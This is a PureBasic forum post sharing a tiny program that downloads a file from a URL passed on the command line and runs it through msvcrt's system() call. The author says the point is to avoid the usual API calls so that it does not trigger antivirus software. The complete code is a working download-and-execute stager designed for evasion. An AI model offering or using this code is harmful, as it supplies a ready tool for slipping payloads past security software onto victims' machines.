Simpe stupid downloader :)

Applications, Games, Tools, User libs and useful stuff coded in PureBasic
sphaaz
New User
New User
Posts: 5
Joined: Tue Nov 29, 2011 2:31 am

Simpe stupid downloader :)

Post by sphaaz »

Well here is downloader that takes arguments to get file from some url and executes it....
I know there is a lot of downloaders a lot better ones probably, but idea for this one was
to not use urlmon.dll api function and RunProgram or shellexecute :)
so it doesnt trigger avs and you can use it for deploying your software without problems!

Code: Select all

ImportC "msvcrt.lib"
  system(STR.p-ascii)
EndImport  

link$=ProgramParameter(0)
file$=ProgramParameter(1)

InitNetwork()
ReceiveHTTPFile(link$,file$)
system(file$)